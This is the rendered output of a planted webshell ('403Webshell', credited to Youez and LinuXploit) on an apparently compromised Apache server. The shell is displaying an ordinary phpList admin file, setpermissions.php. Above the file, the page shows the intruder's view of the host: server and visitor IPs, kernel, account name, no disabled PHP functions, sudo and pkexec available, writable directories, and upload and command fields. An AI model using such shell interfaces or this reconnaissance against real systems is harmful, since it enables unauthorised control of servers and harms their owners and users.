403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/handjobcafe.com/public_html/lists/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/handjobcafe.com/public_html/lists/admin/setpermissions.php
<?php
require_once dirname(__FILE__).'/accesscheck.php';

$GLOBALS['disallowpages'] = array(
'accesscheck',
'addprefix',
'classlistmailer',
'connect',
'date',
'defaultplugin',
'defaulttest',
'emailtest',
'init',
'languages',
'lib',
'mimePart',
'pluginlib',
'preparesend',
'readtestmail',
'rsslib',
'segmentation',
'send_core',
'sendemaillib2',
'sendemaillib',
'sessionlib',
'sidebar',
'sorbs',
'stresstest',
'structure',
'subscribelib2',
);

if (!empty($_SESSION['logindetails']['superuser'])) return;

if (!empty($_SESSION['privileges'])) {
  $removeSections = array('system','plugins','develop');
  foreach ($_SESSION['privileges'] as $priv_category => $enabled) {
    switch ($priv_category) {
      ## map the privileges to the above pagecategories
      case 'subscribers': if (!$enabled) $removeSections[] = 'subscribers'; break;
      case 'campaigns': if (!$enabled) $removeSections[] = 'campaigns'; break;
      case 'statistics': if (!$enabled) $removeSections[] = 'statistics'; break;
      case 'settings': if (!$enabled) $removeSections[]= 'config'; break;
    }
  }
  foreach ($removeSections as $removeSection) {
#    print '<h2>Removing '.$removeSection.' '.$priv_category.'</h2>';
    if (empty($GLOBALS['pagecategories'][$removeSection]['pages'])) continue;
    foreach ($GLOBALS['pagecategories'][$removeSection]['pages'] as $sectionPage) {
  #    print '<h2>Disallow '.$sectionPage.'</h2>';
      $GLOBALS['disallowpages'][] = $sectionPage;
    }
    unset($GLOBALS['pagecategories'][$removeSection]);
  }
}
#var_dump($GLOBALS['disallowpages']);
#var_dump($GLOBALS['pagecategories']);

Youez - 2016 - github.com/yon3zu
LinuXploit